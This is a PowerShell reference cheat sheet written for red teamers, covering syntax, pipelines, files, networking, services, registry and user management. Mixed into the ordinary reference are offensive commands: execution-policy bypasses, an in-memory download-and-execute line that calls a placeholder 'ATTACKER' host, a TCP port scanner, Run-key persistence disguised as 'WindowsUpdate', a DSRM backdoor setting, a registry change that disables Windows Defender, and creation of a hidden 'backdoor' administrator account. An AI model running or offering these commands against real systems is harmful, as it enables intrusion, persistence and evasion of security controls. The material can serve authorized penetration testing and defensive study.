PowerShell is a cross-platform task automation framework built on .NET — combining a command-line shell, scripting language, and configuration management tool. For red teamers it is the single most powerful built-in offensive tool on Windows.
1. Basics & Fundamentals
# ==========================================
# LAUNCHING POWERSHELL
# ==========================================
powershell.exe # Launch PowerShell 5.x (Windows built-in)
pwsh.exe # Launch PowerShell 7.x (cross-platform)
powershell.exe -NoProfile # Skip profile loading (faster + cleaner)
powershell.exe -WindowStyle Hidden # Hidden window (no console visible)
powershell.exe -ExecutionPolicy Bypass # Bypass execution policy for this session
powershell.exe -EncodedCommand <b64> # Run base64-encoded command
powershell.exe -Command "Get-Process" # Run inline command
powershell.exe -File script.ps1 # Run a script file
# ==========================================
# VERSIONS
# ==========================================
$PSVersionTable # Show PS version, OS, CLR info
$PSVersionTable.PSVersion # Just the version number
$PSVersionTable.PSVersion.Major # Major version only (5 or 7)
# Version differences:
# PowerShell 5.1 → Windows built-in, .NET Framework 4.x
# PowerShell 7.x → Cross-platform, .NET Core / .NET 5+, more features
# ==========================================
# HELP SYSTEM
# ==========================================
Get-Help Get-Process # Help for a cmdlet
Get-Help Get-Process -Full # Full help with examples
Get-Help Get-Process -Examples # Examples only
Get-Help Get-Process -Online # Open browser to online docs
Update-Help # Download latest help files
Get-Command # List ALL available commands
Get-Command -Verb Get # All cmdlets starting with Get
Get-Command -Noun Process # All cmdlets using Process noun
Get-Command *network* # Wildcard search
Get-Command -CommandType Function # List only functions
Get-Alias # Show all aliases
Get-Alias ls # What does alias 'ls' map to?
New-Alias ll Get-ChildItem # Create alias
# ==========================================
# COMMON ALIASES (know these!)
# ==========================================
# ls / dir / gci → Get-ChildItem
# cd / chdir / sl → Set-Location
# cat / gc → Get-Content
# cp / copy → Copy-Item
# mv / move → Move-Item
# rm / del / ri → Remove-Item
# echo / write → Write-Output
# ps / gps → Get-Process
# kill / spps → Stop-Process
# cls / clear → Clear-Host
# pwd → Get-Location
# man → Get-Help
# curl / wget → Invoke-WebRequest
# history → Get-History
# ? → Where-Object
# % → ForEach-Object
# ==========================================
# OUTPUT & FORMATTING
# ==========================================
Get-Process | Format-Table # Table format (default)
Get-Process | Format-List # List format (all properties)
Get-Process | Format-Wide # Wide (one column)
Get-Process | Out-GridView # GUI grid (interactive!)
Get-Process | Out-File output.txt # Save to file
Get-Process | Out-String # Convert to string
Get-Process | ConvertTo-Csv # Convert to CSV
Get-Process | ConvertTo-Json # Convert to JSON
Get-Process | ConvertTo-Html # Convert to HTML report
Get-Process | Export-Csv procs.csv # Export to CSV file
Get-Process | Export-Clixml procs.xml # Export to XML
# Select specific properties
Get-Process | Select-Object Name, Id, CPU
Get-Process | Select-Object -First 10 # First 10
Get-Process | Select-Object -Last 5 # Last 5
Get-Process | Select-Object -Unique # Remove duplicates
# Sort output
Get-Process | Sort-Object CPU -Descending
Get-Process | Sort-Object Name, CPU
# Filter output
Get-Process | Where-Object { $_.CPU -gt 100 }
Get-Process | Where-Object Name -eq "chrome"
# Measure / Count
Get-Process | Measure-Object # Count, sum, average
Get-Process | Measure-Object CPU -Sum # Sum of CPU usage
(Get-Process).Count # Total process count
2. Execution Policy
# ==========================================
# CHECK & SET EXECUTION POLICY
# ==========================================
Get-ExecutionPolicy # Current policy
Get-ExecutionPolicy -List # All scopes
# Execution Policy levels:
# Restricted → No scripts at all (Windows default)
# AllSigned → Only scripts signed by trusted publisher
# RemoteSigned → Local scripts ok; remote must be signed
# Unrestricted → Any script runs (warns on remote)
# Bypass → Nothing blocked, no warnings
# Undefined → No policy set for this scope
# Set policy (requires admin)
Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force
# Scope hierarchy (highest wins):
# MachinePolicy > UserPolicy > Process > CurrentUser > LocalMachine
# ==========================================
# EXECUTION POLICY BYPASS (Red Team)
# ==========================================
# Method 1: Flag at launch
powershell.exe -ExecutionPolicy Bypass -File script.ps1
# Method 2: Pipe content into PS (bypasses policy!)
Get-Content script.ps1 | Invoke-Expression
cat script.ps1 | iex
# Method 3: Encode + run
$cmd = Get-Content script.ps1 | Out-String
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell.exe -EncodedCommand $enc
# Method 4: Download + execute in memory (no file!)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')
# Method 5: Set process scope (no admin needed!)
Set-ExecutionPolicy Bypass -Scope Process -Force
# Method 6: Unblock file
Unblock-File -Path .\script.ps1
# Method 7: Use pwsh (PS7) — separate policy from PS5
pwsh.exe -ExecutionPolicy Bypass -File script.ps1
# Method 8: Alternate stream
Get-Content script.ps1 -Stream :$DATA | Invoke-Expression
3. Variables & Data Types
# ==========================================
# VARIABLES
# ==========================================
$name = "Zoro" # String
$age = 19 # Integer
$pi = 3.14 # Float (double)
$isAdmin = $true # Boolean
$null = $null # Null
$arr = @(1, 2, 3, 4, 5) # Array
$hash = @{Key="Value"; Name="Zoro"} # Hashtable (dictionary)
# Type check
$name.GetType() # Returns System.String
$age.GetType().Name # Returns "Int32"
[int]$str = "42" # Cast string to int
# Automatic type variables
$true # Boolean true
$false # Boolean false
$null # Null value
# ==========================================
# SPECIAL VARIABLES
# ==========================================
$_ # Current pipeline object (alias: $PSItem)
$? # Last command success (True/False)
$! # Last error code
$$ # Last token of last command
$^ # First token of last command
$0 # Script name
$args # Arguments passed to script
$error # Array of all errors in session
$error # Most recent error
$Host # Current host info
$PID # Current process ID
$PWD # Current directory
$Env:PATH # Environment variable
# ==========================================
# STRINGS
# ==========================================
$name = "Zoro"
# String interpolation (double quotes expand variables!)
"Hello, $name!" # → Hello, Zoro!
'Hello, $name!' # → Hello, $name! (no expansion)
# String methods
$name.ToUpper() # ZORO
$name.ToLower() # zoro
$name.Length # 4
$name.Replace("Z","S") # Soro
$name.Contains("or") # True
$name.Split(",") # Split into array
$name.Trim() # Remove whitespace
$name.TrimStart() # Trim leading
$name.TrimEnd() # Trim trailing
$name.StartsWith("Z") # True
$name.EndsWith("o") # True
$name.Substring(1, 2) # "or" (start, length)
$name.IndexOf("r") # 2
# Here-strings (multi-line strings)
$text = @"
Line 1
Line 2
Hello $name
"@
# String formatting
"Process: {0} PID: {1}" -f "chrome", 1234
# ==========================================
# ARRAYS
# ==========================================
$arr = @(1, 2, 3, 4, 5)
$arr # First element: 1
$arr[-1] # Last element: 5
$arr[1..3] # Slice: 2,3,4
$arr.Count # 5
$arr.Length # 5
$arr += 6 # Append (creates new array!)
$arr -contains 3 # True
# Typed arrays
[int[]]$nums = 1, 2, 3
[string[]]$names = "Alice", "Bob"
# ArrayList (dynamic, faster for large collections)
$list = [System.Collections.ArrayList]@()
$list.Add("item1")
$list.Remove("item1")
$list.Count
# ==========================================
# HASHTABLES (Dictionaries)
# ==========================================
$hash = @{
Name = "Zoro"
Age = 19
Role = "Pen Tester"
}
$hash["Name"] # Access by key: "Zoro"
$hash.Name # Dot notation: "Zoro"
$hash.Keys # All keys
$hash.Values # All values
$hash.Count # Number of pairs: 3
$hash.ContainsKey("Age") # True
$hash.ContainsValue("Zoro") # True
$hash.Add("Tool", "Kali") # Add new pair
$hash.Remove("Age") # Remove key
$hash["NewKey"] = "NewValue" # Add/update
# Ordered hashtable (maintains insertion order)
$ordered = [ordered]@{
First = 1
Second = 2
Third = 3
}
# ==========================================
# TYPE CASTING
# ==========================================
[int]"42" # String → Int
[string]42 # Int → String
[double]"3.14" # String → Double
[bool]1 # Int → Bool (1 = True)
[char]65 # Int → Char (A)
[byte[]][char[]]"Hello" # String → Byte array
[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("data"))
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("ZGF0YQ=="))
4. Operators
# ==========================================
# ARITHMETIC
# ==========================================
5 + 3 # 8
10 - 4 # 6
3 * 4 # 12
10 / 4 # 2.5
10 % 3 # 1 (modulus)
2 ** 8 # 256 (power — PS7+)
[Math]::Pow(2,8) # 256 (all versions)
# ==========================================
# COMPARISON
# ==========================================
# Case-insensitive by default! Use 'c' prefix for case-sensitive
-eq # Equal: 5 -eq 5 → True
-ne # Not equal: 5 -ne 3 → True
-gt # Greater than: 5 -gt 3 → True
-ge # Greater or equal: 5 -ge 5 → True
-lt # Less than: 3 -lt 5 → True
-le # Less or equal: 3 -le 3 → True
-ceq # Case-sensitive equal: "Zoro" -ceq "zoro" → False
-ieq # Case-insensitive (default): "Zoro" -ieq "zoro" → True
# ==========================================
# LOGICAL
# ==========================================
-and # Both true: ($a -eq 1) -and ($b -eq 2)
-or # Either true: ($a -eq 1) -or ($b -eq 2)
-not # Negate: -not $true → False
! # Negate: !$true → False
-xor # Exclusive or
# ==========================================
# STRING / PATTERN
# ==========================================
-like # Wildcard: "Hello" -like "H*" → True
-notlike # Not wildcard
-match # Regex: "Hello" -match "^H" → True
-notmatch # Not regex
-replace # Replace: "Hello" -replace "l","r" → "Herro"
-contains # Array contains: @(1,2,3) -contains 2 → True
-in # Value in array: 2 -in @(1,2,3) → True
-notin # Value not in array
# ==========================================
# ASSIGNMENT OPERATORS
# ==========================================
$x = 10
$x += 5 # $x = 15
$x -= 3 # $x = 12
$x *= 2 # $x = 24
$x /= 4 # $x = 6
$x %= 4 # $x = 2
$x++ # Increment
$x-- # Decrement
# ==========================================
# SPECIAL OPERATORS
# ==========================================
# Range
1..10 # Array: 1,2,3,4,5,6,7,8,9,10
'a'..'z' # Char range (PS7+)
# Array subexpression
@(Get-Process) # Force result into array
# Subexpression (embed in string)
"There are $(Get-Process).Count processes"
# Call operator (run commands stored in vars)
$cmd = "Get-Process"
& $cmd # Runs Get-Process
# Dot sourcing (load script into current scope)
. .\functions.ps1 # Functions become available in current session
# Null coalescing (PS7+)
$x = $null ?? "default" # → "default"
$x ??= "default" # Assign if null
# Ternary (PS7+)
$result = $true ? "yes" : "no"
# Pipeline chain (PS7+)
Get-Process && Write-Host "Success" # Run if previous succeeded
Get-Process || Write-Host "Failed" # Run if previous failed
5. Control Flow
# ==========================================
# IF / ELSEIF / ELSE
# ==========================================
$x = 10
if ($x -gt 5) {
Write-Host "Greater than 5"
} elseif ($x -eq 5) {
Write-Host "Equal to 5"
} else {
Write-Host "Less than 5"
}
# ==========================================
# SWITCH
# ==========================================
$day = "Monday"
switch ($day) {
"Monday" { "Start of week" }
"Friday" { "End of week" }
"Saturday" { "Weekend"; break }
"Sunday" { "Weekend"; break }
default { "Midweek" }
}
# Switch with regex
switch -Regex ($input) {
"^\d+" { "Starts with number" }
"^[a-z]" { "Starts with lowercase" }
}
# Switch with wildcard
switch -Wildcard ($filename) {
"*.txt" { "Text file" }
"*.ps1" { "PowerShell script" }
"*.exe" { "Executable" }
}
# ==========================================
# FOR LOOP
# ==========================================
for ($i = 0; $i -lt 10; $i++) {
Write-Host $i
}
# ==========================================
# FOREACH
# ==========================================
$items = @("apple", "banana", "cherry")
foreach ($item in $items) {
Write-Host $item
}
# ForEach-Object (pipeline)
$items | ForEach-Object { Write-Host $_ }
$items | % { Write-Host $_ } # Alias
# ForEach with index
$items | ForEach-Object -Begin { $i = 0 } -Process {
Write-Host "$i : $_"
$i++
}
# Parallel ForEach (PS7+)
$items | ForEach-Object -Parallel {
Start-Sleep 1; Write-Host $_
} -ThrottleLimit 3
# ==========================================
# WHILE
# ==========================================
$i = 0
while ($i -lt 5) {
Write-Host $i
$i++
}
# ==========================================
# DO WHILE / DO UNTIL
# ==========================================
$i = 0
do {
Write-Host $i
$i++
} while ($i -lt 5)
do {
Write-Host $i
$i++
} until ($i -ge 5)
# ==========================================
# LOOP CONTROL
# ==========================================
break # Exit loop immediately
continue # Skip to next iteration
return # Exit function / script
# Break with label (nested loops)
:outerLoop for ($i = 0; $i -lt 3; $i++) {
for ($j = 0; $j -lt 3; $j++) {
if ($j -eq 1) { break outerLoop }
}
}
6. Functions
# ==========================================
# BASIC FUNCTION
# ==========================================
function Say-Hello {
Write-Host "Hello, World!"
}
Say-Hello # Call it
# ==========================================
# FUNCTION WITH PARAMETERS
# ==========================================
function Get-Greeting {
param (
[string]$Name = "World", # Default value
[int]$Age,
[switch]$Loud # Boolean switch flag
)
$msg = "Hello, $Name! Age: $Age"
if ($Loud) { $msg = $msg.ToUpper() }
return $msg
}
Get-Greeting -Name "Zoro" -Age 19
Get-Greeting -Name "Zoro" -Loud # Switch flag
# ==========================================
# ADVANCED FUNCTION (CmdletBinding)
# ==========================================
function Get-SystemInfo {
[CmdletBinding()]
param (
[Parameter(Mandatory=$true, Position=0)]
[string]$ComputerName,
[Parameter(Mandatory=$false)]
[ValidateSet("CPU","RAM","Disk")]
[string]$InfoType = "CPU",
[Parameter(ValueFromPipeline=$true)]
[string[]]$Names
)
Begin {
Write-Verbose "Starting Get-SystemInfo"
}
Process {
Write-Verbose "Querying $ComputerName for $InfoType"
# Main logic here
}
End {
Write-Verbose "Done"
}
}
Get-SystemInfo -ComputerName "DC01" -Verbose
# ==========================================
# PARAMETER VALIDATION
# ==========================================
param (
[ValidateNotNull()]
[string]$Name,
[ValidateNotNullOrEmpty()]
[string]$Path,
[ValidateRange(1, 100)]
[int]$Age,
[ValidateLength(3, 20)]
[string]$Username,
[ValidatePattern("^\d{4}-\d{2}-\d{2}$")]
[string]$Date,
[ValidateSet("Read","Write","Execute")]
[string]$Permission,
[ValidateScript({ Test-Path $_ })]
[string]$FilePath
)
# ==========================================
# RETURNING VALUES
# ==========================================
function Add-Numbers {
param([int]$a, [int]$b)
return $a + $b # Explicit return
}
function Add-Numbers2 {
param([int]$a, [int]$b)
$a + $b # Implicit return (PS outputs uncaptured values!)
}
$result = Add-Numbers 3 4 # $result = 7
# ==========================================
# SCRIPT BLOCKS (anonymous functions)
# ==========================================
$block = { param($x) $x * 2 }
& $block 5 # Call it: 10
# Invoke-Command with script block
Invoke-Command -ScriptBlock { Get-Process } -ComputerName DC01
7. Pipelines & Objects
# ==========================================
# THE PIPELINE — PowerShell passes OBJECTS not text
# ==========================================
# Every cmdlet outputs objects, not strings!
Get-Process # Returns System.Diagnostics.Process objects
Get-Process | Get-Member # Shows all properties + methods!
Get-Process | Get-Member -MemberType Property # Only properties
Get-Process | Get-Member -MemberType Method # Only methods
# ==========================================
# FILTERING WITH WHERE-OBJECT
# ==========================================
Get-Process | Where-Object { $_.CPU -gt 100 }
Get-Process | Where-Object CPU -gt 100 # Simplified (PS3+)
Get-Service | Where-Object { $_.Status -eq "Running" }
Get-Service | Where-Object Status -eq "Running"
# Multiple conditions
Get-Process | Where-Object { $_.CPU -gt 50 -and $_.Name -ne "Idle" }
# ==========================================
# TRANSFORMING WITH FOREACH-OBJECT
# ==========================================
Get-Process | ForEach-Object { $_.Name.ToUpper() }
Get-Process | ForEach-Object { [PSCustomObject]@{
Name = $_.Name
PID = $_.Id
MB = [Math]::Round($_.WorkingSet / 1MB, 2)
}}
# ==========================================
# SELECTING PROPERTIES
# ==========================================
Get-Process | Select-Object Name, Id, CPU
Get-Process | Select-Object Name, @{N="MB";E={[Math]::Round($_.WorkingSet/1MB,2)}}
# ^ Calculated property: alias N=Name, E=Expression
# ==========================================
# CREATING CUSTOM OBJECTS
# ==========================================
# Method 1: PSCustomObject (preferred)
$obj = [PSCustomObject]@{
Name = "DC01"
IP = "10.10.10.1"
Role = "Domain Controller"
IsAlive = $true
}
$obj.Name # DC01
$obj.IP # 10.10.10.1
# Method 2: New-Object
$obj = New-Object PSObject -Property @{
Name = "DC01"
IP = "10.10.10.1"
}
# Method 3: Add-Member (add to existing)
$obj | Add-Member -MemberType NoteProperty -Name "OS" -Value "Server 2022"
$obj | Add-Member -MemberType ScriptMethod -Name "Ping" -Value { Test-Connection $this.IP -Count 1 }
# ==========================================
# GROUP & SORT
# ==========================================
Get-Process | Group-Object Name # Group by process name
Get-Process | Sort-Object CPU -Descending # Sort by CPU
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10 # Top 10
# ==========================================
# TEES & SPLITTING PIPELINE
# ==========================================
Get-Process | Tee-Object -FilePath procs.txt | Where-Object CPU -gt 100
# Sends output to file AND continues pipeline
8. Error Handling
# ==========================================
# TERMINATING vs NON-TERMINATING ERRORS
# ==========================================
# Non-terminating: cmdlet reports error but continues
# Terminating: script stops entirely
# $ErrorActionPreference controls non-terminating behavior:
$ErrorActionPreference = "Stop" # Treat all errors as terminating
$ErrorActionPreference = "Continue" # Default — show error, keep going
$ErrorActionPreference = "SilentlyContinue" # Suppress error messages
$ErrorActionPreference = "Inquire" # Prompt user on each error
# Per-command error action:
Get-Item "C:\nonexistent" -ErrorAction SilentlyContinue
Get-Item "C:\nonexistent" -ErrorAction Stop
Get-Item "C:\nonexistent" -ErrorVariable myErr # Capture error
# ==========================================
# TRY / CATCH / FINALLY
# ==========================================
try {
$result = Get-Content "C:\nonexistent.txt" -ErrorAction Stop
Write-Host "File content: $result"
}
catch [System.IO.FileNotFoundException] {
Write-Host "File not found: $_"
}
catch [System.UnauthorizedAccessException] {
Write-Host "Access denied: $_"
}
catch {
# Catch ALL other errors
Write-Host "Error: $($_.Exception.Message)"
Write-Host "Type: $($_.Exception.GetType().FullName)"
Write-Host "Line: $($_.InvocationInfo.ScriptLineNumber)"
}
finally {
# Always runs — cleanup code here
Write-Host "Cleanup complete"
}
# ==========================================
# THROWING ERRORS
# ==========================================
throw "Something went wrong"
throw [System.Exception]::new("Custom exception")
# ==========================================
# $ERROR VARIABLE
# ==========================================
$error # Array of all errors (most recent = )
$error # Most recent error
$error.Exception.Message # Error message
$error.Clear() # Clear error list
# ==========================================
# WRITE-ERROR vs THROW
# ==========================================
Write-Error "Non-terminating error" # Reports error, continues
throw "Terminating error" # Stops execution!
# ==========================================
# TEST PATTERNS
# ==========================================
# Test before acting (avoid errors entirely!)
if (Test-Path "C:\file.txt") { Get-Content "C:\file.txt" }
if (Get-Command "nmap" -ErrorAction SilentlyContinue) { nmap --help }
9. File & Directory Operations
# ==========================================
# NAVIGATION
# ==========================================
Get-Location # Current directory (pwd)
Set-Location C:\Windows # Change directory (cd)
Set-Location .. # Go up one level
Set-Location ~ # Home directory
Push-Location C:\Temp # Save location, cd to new
Pop-Location # Return to saved location
# ==========================================
# LISTING FILES
# ==========================================
Get-ChildItem # List current directory
Get-ChildItem C:\Windows # List specific path
Get-ChildItem -Recurse # Recursive
Get-ChildItem -File # Files only
Get-ChildItem -Directory # Directories only
Get-ChildItem -Hidden # Include hidden
Get-ChildItem -Filter "*.txt" # Filter by extension
Get-ChildItem -Recurse -Filter "*.log" C:\ # Recurse + filter
Get-ChildItem -Recurse | Where-Object { $_.Length -gt 1MB } # Large files
# ==========================================
# FILE OPERATIONS
# ==========================================
New-Item -Path "C:\Temp\file.txt" -ItemType File # Create file
New-Item -Path "C:\Temp\NewDir" -ItemType Directory # Create directory
New-Item -Path "C:\Temp\NewDir" -ItemType Directory -Force # No error if exists
Copy-Item C:\src\file.txt C:\dst\ # Copy file
Copy-Item C:\src\ C:\dst\ -Recurse # Copy directory tree
Move-Item C:\file.txt C:\Temp\ # Move file
Rename-Item C:\file.txt newname.txt # Rename
Remove-Item C:\file.txt # Delete file
Remove-Item C:\Temp\ -Recurse -Force # Delete directory tree
# ==========================================
# READING FILES
# ==========================================
Get-Content file.txt # Read all lines (array)
Get-Content file.txt -Raw # Read as single string
Get-Content file.txt -TotalCount 10 # First 10 lines
Get-Content file.txt -Tail 20 # Last 20 lines
Get-Content file.txt | Select-String "error" # Grep equivalent!
Get-Content file.txt -Wait # tail -f equivalent!
[System.IO.File]::ReadAllText("file.txt") # .NET method (faster for big files)
# ==========================================
# WRITING FILES
# ==========================================
"Hello World" | Out-File file.txt # Write (overwrites)
"Hello World" | Out-File file.txt -Append # Append
"Hello World" | Add-Content file.txt # Append (preferred)
Set-Content file.txt "Replace entire content" # Overwrite
[System.IO.File]::WriteAllText("file.txt","data") # .NET (fastest)
[System.IO.File]::AppendAllText("file.txt","more") # .NET append
# ==========================================
# FILE INFO
# ==========================================
Get-Item C:\file.txt # File object
(Get-Item C:\file.txt).Length # Size in bytes
(Get-Item C:\file.txt).LastWriteTime # Last modified
(Get-Item C:\file.txt).CreationTime # Created time
# ==========================================
# SEARCHING FILES (like grep -r)
# ==========================================
Select-String -Path "C:\Logs\*.log" -Pattern "error" -Recurse
Select-String -Path "C:\Logs\*.txt" -Pattern "password" -CaseSensitive
Get-ChildItem -Recurse -Filter "*.ps1" | Select-String "Get-Credential"
# ==========================================
# COMPRESSION
# ==========================================
Compress-Archive -Path C:\Folder -DestinationPath C:\archive.zip
Compress-Archive -Path C:\Folder -DestinationPath C:\archive.zip -Update # Add to existing
Expand-Archive -Path C:\archive.zip -DestinationPath C:\Output
Expand-Archive -Path C:\archive.zip -DestinationPath C:\Output -Force
# ==========================================
# PATHS
# ==========================================
Test-Path "C:\file.txt" # Does it exist?
Test-Path "C:\file.txt" -PathType Leaf # Is it a file?
Test-Path "C:\Folder" -PathType Container # Is it a directory?
Join-Path "C:\Users" "Zoro" "Desktop" # Build path safely
Split-Path "C:\Users\Zoro\file.txt" -Leaf # Get filename: file.txt
Split-Path "C:\Users\Zoro\file.txt" -Parent # Get dir: C:\Users\Zoro
[System.IO.Path]::GetExtension("file.txt") # .txt
[System.IO.Path]::GetFileNameWithoutExtension("file.txt") # file
[System.IO.Path]::GetFullPath(".\file.txt") # Absolute path
[System.IO.Path]::GetTempPath() # Temp directory
[System.IO.Path]::GetTempFileName() # Create temp file
10. Networking
# ==========================================
# BASIC NETWORK INFO
# ==========================================
Get-NetIPAddress # All IP addresses
Get-NetIPAddress -AddressFamily IPv4 # IPv4 only
Get-NetAdapter # Network adapters
Get-NetAdapter | Where-Object Status -eq "Up" # Active adapters
Get-NetRoute # Routing table
Get-DnsClientServerAddress # DNS servers
Resolve-DnsName corp.local # DNS lookup
Resolve-DnsName 10.10.10.1 -Type PTR # Reverse DNS
Get-NetTCPConnection # All TCP connections (netstat)
Get-NetTCPConnection -State Listen # Listening ports only
Get-NetTCPConnection -State Established # Active connections
# ==========================================
# CONNECTIVITY TESTING
# ==========================================
Test-Connection 8.8.8.8 # Ping (4 pings)
Test-Connection 8.8.8.8 -Count 1 # Single ping
Test-Connection 8.8.8.8 -Quiet # Returns True/False only
Test-NetConnection 10.10.10.1 -Port 445 # TCP port test
Test-NetConnection 10.10.10.1 -Port 3389 # RDP port test
Test-NetConnection 10.10.10.1 -TraceRoute # Traceroute
# Port scanner (quick)
1..1024 | ForEach-Object {
$port = $_
try {
$tcp = New-Object System.Net.Sockets.TcpClient
$conn = $tcp.BeginConnect("10.10.10.1", $port, $null, $null)
$wait = $conn.AsyncWaitHandle.WaitOne(100, $false) # 100ms timeout
if ($wait) { Write-Host "Port $port: OPEN" }
$tcp.Close()
} catch {}
}
# ==========================================
# WEB REQUESTS (Invoke-WebRequest)
# ==========================================
# GET request
$resp = Invoke-WebRequest -Uri "https://example.com"
$resp.StatusCode # HTTP status code
$resp.Content # Response body (string)
$resp.Headers # Response headers
$resp.Links # All hyperlinks
$resp.Forms # Forms on page
# Download file
Invoke-WebRequest -Uri "http://server/file.exe" -OutFile "C:\Temp\file.exe"
# POST request
$body = @{ username = "user"; password = "pass" }
Invoke-WebRequest -Uri "https://site.com/login" -Method POST -Body $body
# POST with JSON
$json = '{"user":"admin","pass":"P@ss"}'
Invoke-WebRequest -Uri "https://api.corp.local/auth" `
-Method POST `
-ContentType "application/json" `
-Body $json
# With headers
$headers = @{ Authorization = "Bearer TOKEN"; "Content-Type" = "application/json" }
Invoke-WebRequest -Uri "https://api.corp.local/data" -Headers $headers
# Ignore SSL errors
Invoke-WebRequest -Uri "https://10.10.10.1" -SkipCertificateCheck # PS7+
# PS5 equivalent:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
# ==========================================
# REST API (Invoke-RestMethod)
# ==========================================
$data = Invoke-RestMethod -Uri "https://api.github.com/users/octocat"
$data.login # Parsed JSON directly into object!
$data.public_repos
# ==========================================
# .NET WEB CLIENT (faster for large downloads)
# ==========================================
$wc = New-Object System.Net.WebClient
$wc.DownloadFile("http://server/file.exe", "C:\Temp\file.exe")
$content = $wc.DownloadString("http://server/script.ps1")
IEX $content # Download + execute in memory!
# ==========================================
# DNS QUERIES
# ==========================================
Resolve-DnsName corp.local -Type A # A record
Resolve-DnsName corp.local -Type MX # Mail server
Resolve-DnsName corp.local -Type NS # Name servers
Resolve-DnsName corp.local -Type SOA # SOA record
Resolve-DnsName corp.local -Type SRV # SRV records
Resolve-DnsName _ldap._tcp.dc._msdcs.corp.local -Type SRV # Find DCs!
11. Process & Service Management
# ==========================================
# PROCESSES
# ==========================================
Get-Process # All processes
Get-Process chrome # Specific process
Get-Process | Sort-Object CPU -Descending # Top CPU consumers
Get-Process | Sort-Object WorkingSet -Descending | Select -First 10 # Top RAM
# Start process
Start-Process notepad.exe
Start-Process powershell.exe -Verb RunAs # Run as admin
Start-Process "C:\Temp\tool.exe" -ArgumentList "-arg1 value" -WindowStyle Hidden
# Stop process
Stop-Process -Name chrome -Force
Stop-Process -Id 1234 -Force
Get-Process chrome | Stop-Process -Force
# Process properties
(Get-Process chrome).Id # PID
(Get-Process chrome).Path # Executable path
(Get-Process chrome).MainWindowTitle # Window title
(Get-Process chrome).Threads.Count # Thread count
(Get-Process chrome).Modules # Loaded DLLs
# Wait for process
$proc = Start-Process notepad.exe -PassThru
$proc.WaitForExit(5000) # Wait 5 seconds
# ==========================================
# SERVICES
# ==========================================
Get-Service # All services
Get-Service -Name "wuauserv" # Windows Update service
Get-Service | Where-Object Status -eq "Running"
Get-Service | Where-Object { $_.StartType -eq "Disabled" }
Start-Service -Name "wuauserv"
Stop-Service -Name "wuauserv" -Force
Restart-Service -Name "wuauserv"
Suspend-Service -Name "wuauserv" # Pause service
Set-Service -Name "wuauserv" -StartupType Disabled # Disable autostart
Set-Service -Name "wuauserv" -StartupType Automatic # Enable autostart
New-Service -Name "MyService" `
-BinaryPathName "C:\Temp\svc.exe" `
-DisplayName "My Service" `
-StartupType Automatic
Remove-Service -Name "MyService" # PS6+ only
# PS5: sc.exe delete MyService
# Service dependencies
(Get-Service -Name "wuauserv").DependentServices # What depends on it
(Get-Service -Name "wuauserv").ServicesDependedOn # What it depends on
12. Registry Operations
# ==========================================
# REGISTRY DRIVES
# ==========================================
# PS maps registry as drives:
# HKLM: → HKEY_LOCAL_MACHINE
# HKCU: → HKEY_CURRENT_USER
# HKCR: → HKEY_CLASSES_ROOT (mount manually)
# ==========================================
# READING REGISTRY
# ==========================================
Get-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
(Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").ProductName
# Specific value
Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" "ProductName"
# List all subkeys
Get-ChildItem "HKLM:\SOFTWARE\Microsoft"
# Recurse registry tree
Get-ChildItem "HKCU:\Software" -Recurse -ErrorAction SilentlyContinue
# ==========================================
# WRITING REGISTRY
# ==========================================
# Create key
New-Item "HKCU:\Software\MyApp" -Force
# Create/set value
New-ItemProperty "HKCU:\Software\MyApp" -Name "Setting" -Value "Data" -PropertyType String
Set-ItemProperty "HKCU:\Software\MyApp" -Name "Setting" -Value "NewData"
# Property types: String, ExpandString, Binary, DWord, MultiString, QWord
# ==========================================
# DELETING REGISTRY
# ==========================================
Remove-ItemProperty "HKCU:\Software\MyApp" -Name "Setting" # Delete value
Remove-Item "HKCU:\Software\MyApp" -Recurse # Delete key + subkeys
# ==========================================
# RED TEAM REGISTRY OPS
# ==========================================
# Persistence: Run key
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsUpdate" `
-Value "C:\ProgramData\svc.exe"
# Check AutoRun keys
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# DSRM backdoor
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name "DsrmAdminLogonBehavior" `
-Value 2
# Disable Windows Defender (requires admin)
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
-Name "DisableAntiSpyware" `
-Value 1
# LSA protection check (Credential Guard)
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" "RunAsPPL"
# Credential storage
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" "LmCompatibilityLevel"
13. User & Group Management
# ==========================================
# LOCAL USERS
# ==========================================
Get-LocalUser # All local users
Get-LocalUser -Name "Administrator" # Specific user
New-LocalUser -Name "backdoor" -Password (ConvertTo-SecureString "P@ss123!" -AsPlainText -Force) -PasswordNeverExpires $true -AccountNeverExpires
Enable-LocalUser -Name "Administrator" # Enable built-in admin!
Disable-LocalUser -Name "Guest"
Remove-LocalUser -Name "backdoor"
Set-LocalUser -Name "user" -PasswordNeverExpires $true
# ==========================================
# LOCAL GROUPS
# ==========================================
Get-LocalGroup # All local groups
Get-LocalGroupMember "Administrators" # Members of Admins group
Add-LocalGroupMember -Group "Administrators" -Member "backdoor"
Remove-LocalGroupMember -Group "Administrators" -Member "backdoor"
New-LocalGroup -Name "MyGroup"
# ==========================================
# ACTIVE DIRECTORY USERS (requires RSAT or AD module)
# ==========================================
Import-Module ActiveDirectory
Get-ADUser -Filter * # All domain users
Get-ADUser -Identity jsmith # Specific user
Get-ADUser -Identity jsmith -Properties * # All properties
